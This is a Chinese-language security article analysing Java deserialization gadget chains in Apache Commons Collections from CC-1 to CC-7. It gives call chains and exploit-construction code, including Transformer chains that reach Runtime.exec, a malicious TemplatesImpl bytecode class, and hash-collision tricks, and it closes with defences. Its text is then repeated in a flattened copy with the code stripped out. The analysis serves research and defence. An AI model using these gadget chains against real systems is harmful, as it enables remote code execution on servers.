Java安全系列:从CC-1到CC-7的心路历程
字数 1665 2025-08-23 18:31:08

Java反序列化漏洞分析:Commons Collections利用链全解析

前言

本文详细分析Apache Commons Collections(CC)反序列化漏洞利用链,从CC-1到CC-7的完整利用过程。Commons Collections是Apache软件基金会的一个开源项目,提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架。

基础知识

反序列化漏洞原理

Java反序列化漏洞的核心在于:当程序反序列化不可信的数据时,攻击者可以通过构造特殊的序列化数据,在反序列化过程中执行任意代码。

关键接口和类

  • Transformer接口:CC库中的核心接口,定义了对象转换的方法
  • InvokerTransformer:实现Transformer接口,可利用反射执行任意方法
  • TransformedMap:用于对Map进行修饰的工具类
  • LazyMap:延迟计算的Map实现
  • ChainedTransformer:将多个Transformer串联执行

CC-1利用链分析

环境要求

  • Commons Collections 3.2.1
  • JDK 8u65及以下

核心利用点

  1. InvokerTransformer.transform()方法

    public Object transform(Object input) {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    }
    
  2. TransformedMap.checkSetValue()方法

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }
    
  3. AnnotationInvocationHandler.readObject()方法

    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        memberValue.setValue(...);
    }
    

完整利用链

ObjectInputStream.readObject()
  -> AnnotationInvocationHandler.readObject()
    -> TransformedMap.entrySet().iterator().next().setValue()
      -> TransformedMap.checkSetValue()
        -> InvokerTransformer.transform()
          -> Method.invoke()
            -> Runtime.exec()

EXP构造过程

  1. 构造恶意Transformer链:
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  1. 构造TransformedMap:
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "v");
Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
  1. 通过反射创建AnnotationInvocationHandler实例:
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ann = c.getDeclaredConstructor(Class.class, Map.class);
ann.setAccessible(true);
Object annIns = ann.newInstance(Target.class, transformedmap);

CC-6利用链分析

适用环境

  • JDK 8u71及以上(AnnotationInvocationHandler被修复后)

核心利用点

  1. TiedMapEntry.hashCode()方法

    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }
    
  2. TiedMapEntry.getValue()方法

    public Object getValue() {
        return map.get(key);
    }
    
  3. HashMap.readObject()方法

    for (int i = 0; i < mappings; i++) {
        putVal(hash(key), key, value, false, false);
    }
    

完整利用链

ObjectInputStream.readObject()
  -> HashMap.readObject()
    -> HashMap.hash()
      -> TiedMapEntry.hashCode()
        -> TiedMapEntry.getValue()
          -> LazyMap.get()
            -> ChainedTransformer.transform()
              -> Runtime.exec()

EXP构造关键点

  1. 防止序列化时触发:
Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(1));
// 序列化后修改
Field factoryFied = LazyMap.class.getDeclaredField("factory");
factoryFied.setAccessible(true);
factoryFied.set(lazyMap, chainedTransformer);
  1. 防止key被重复使用:
lazyMap.remove("key");

CC-3利用链分析

核心特点

使用TemplatesImpl加载字节码,避免直接使用InvokerTransformer执行命令

关键类和方法

  1. TemplatesImpl.newTransformer()

    public synchronized Transformer newTransformer() {
        TransformerImpl transformer;
        transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
    }
    
  2. TemplatesImpl.getTransletInstance()

    if (_class == null) defineTransletClasses();
    AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
    
  3. TrAXFilter构造函数

    public TrAXFilter(Templates templates) throws TransformerConfigurationException {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
    }
    

完整利用链

ObjectInputStream.readObject()
  -> AnnotationInvocationHandler.readObject()
    -> Proxy.invoke()
      -> LazyMap.get()
        -> ChainedTransformer.transform()
          -> InstantiateTransformer.transform()
            -> TrAXFilter构造函数
              -> TemplatesImpl.newTransformer()
                -> TemplatesImpl.getTransletInstance()
                  -> 加载恶意字节码

EXP构造要点

  1. 构造恶意类:
public class EvilClass extends AbstractTranslet {
    public EvilClass() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
    // 必须重写这两个方法
    public void transform(DOM document, SerializationHandler[] handlers) {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
  1. 设置TemplatesImpl参数:
Field nameField = templatesClass.getDeclaredField("_name");
nameField.set(templates, "lituer");
Field bytecodeField = templatesClass.getDeclaredField("_bytecodes");
bytecodeField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("EvilClass.class"))});
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.set(templates, new TransformerFactoryImpl());

CC-5利用链分析

核心利用点

  1. TiedMapEntry.toString()方法

    public String toString() {
        return getKey() + "=" + getValue();
    }
    
  2. BadAttributeValueExpException.readObject()方法

    val = valObj.toString();
    

完整利用链

ObjectInputStream.readObject()
  -> BadAttributeValueExpException.readObject()
    -> TiedMapEntry.toString()
      -> TiedMapEntry.getValue()
        -> LazyMap.get()
          -> ChainedTransformer.transform()
            -> Runtime.exec()

CC-7利用链分析

核心利用点

  1. Hashtable.readObject()方法

    for (; elements > 0; elements--) {
        reconstitutionPut(newData, (K)ois.readObject(), (V)ois.readObject());
    }
    
  2. Hashtable.reconstitutionPut()方法

    if (e.hash == hash && e.key.equals(key)) {
        throw new StreamCorruptedException();
    }
    
  3. AbstractMapDecorator.equals()

    public boolean equals(Object object) {
        return map.equals(object);
    }
    

关键技巧

  1. 构造hash碰撞:
// "yy"和"zZ"的hashCode相同
Map innerMap1 = new HashMap();
innerMap1.put("yy", 1);
Map innerMap2 = new HashMap();
innerMap2.put("zZ", 1);

CC-4利用链分析(Commons Collections4)

核心利用点

  1. TransformingComparator.compare()方法

    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
    
  2. PriorityQueue.readObject()方法

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }
    

完整利用链

ObjectInputStream.readObject()
  -> PriorityQueue.readObject()
    -> heapify()
      -> siftDown()
        -> siftDownUsingComparator()
          -> TransformingComparator.compare()
            -> ChainedTransformer.transform()
              -> Runtime.exec()

CC-2利用链分析(Commons Collections4)

与CC-4的区别

使用InstantiateTransformer和TrAXFilter替代直接执行命令

关键代码

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

防御措施

  1. 升级Commons Collections到最新版本
  2. 使用JDK安全机制限制反序列化
  3. 使用白名单验证反序列化的类
  4. 使用安全工具如SerialKiller进行防护

总结

本文详细分析了Commons Collections从1到7的利用链,涵盖了不同版本和环境下的利用方式。理解这些利用链不仅有助于安全研究人员发现和修复漏洞,也能帮助开发人员编写更安全的代码。

Java反序列化漏洞分析:Commons Collections利用链全解析 前言 本文详细分析Apache Commons Collections(CC)反序列化漏洞利用链,从CC-1到CC-7的完整利用过程。Commons Collections是Apache软件基金会的一个开源项目,提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架。 基础知识 反序列化漏洞原理 Java反序列化漏洞的核心在于:当程序反序列化不可信的数据时,攻击者可以通过构造特殊的序列化数据,在反序列化过程中执行任意代码。 关键接口和类 Transformer 接口:CC库中的核心接口,定义了对象转换的方法 InvokerTransformer :实现 Transformer 接口,可利用反射执行任意方法 TransformedMap :用于对Map进行修饰的工具类 LazyMap :延迟计算的Map实现 ChainedTransformer :将多个Transformer串联执行 CC-1利用链分析 环境要求 Commons Collections 3.2.1 JDK 8u65及以下 核心利用点 InvokerTransformer.transform()方法 TransformedMap.checkSetValue()方法 AnnotationInvocationHandler.readObject()方法 完整利用链 EXP构造过程 构造恶意Transformer链: 构造TransformedMap: 通过反射创建AnnotationInvocationHandler实例: CC-6利用链分析 适用环境 JDK 8u71及以上(AnnotationInvocationHandler被修复后) 核心利用点 TiedMapEntry.hashCode()方法 TiedMapEntry.getValue()方法 HashMap.readObject()方法 完整利用链 EXP构造关键点 防止序列化时触发: 防止key被重复使用: CC-3利用链分析 核心特点 使用TemplatesImpl加载字节码,避免直接使用InvokerTransformer执行命令 关键类和方法 TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TrAXFilter构造函数 完整利用链 EXP构造要点 构造恶意类: 设置TemplatesImpl参数: CC-5利用链分析 核心利用点 TiedMapEntry.toString()方法 BadAttributeValueExpException.readObject()方法 完整利用链 CC-7利用链分析 核心利用点 Hashtable.readObject()方法 Hashtable.reconstitutionPut()方法 AbstractMapDecorator.equals() 关键技巧 构造hash碰撞: CC-4利用链分析(Commons Collections4) 核心利用点 TransformingComparator.compare()方法 PriorityQueue.readObject()方法 完整利用链 CC-2利用链分析(Commons Collections4) 与CC-4的区别 使用InstantiateTransformer和TrAXFilter替代直接执行命令 关键代码 防御措施 升级Commons Collections到最新版本 使用JDK安全机制限制反序列化 使用白名单验证反序列化的类 使用安全工具如SerialKiller进行防护 总结 本文详细分析了Commons Collections从1到7的利用链,涵盖了不同版本和环境下的利用方式。理解这些利用链不仅有助于安全研究人员发现和修复漏洞,也能帮助开发人员编写更安全的代码。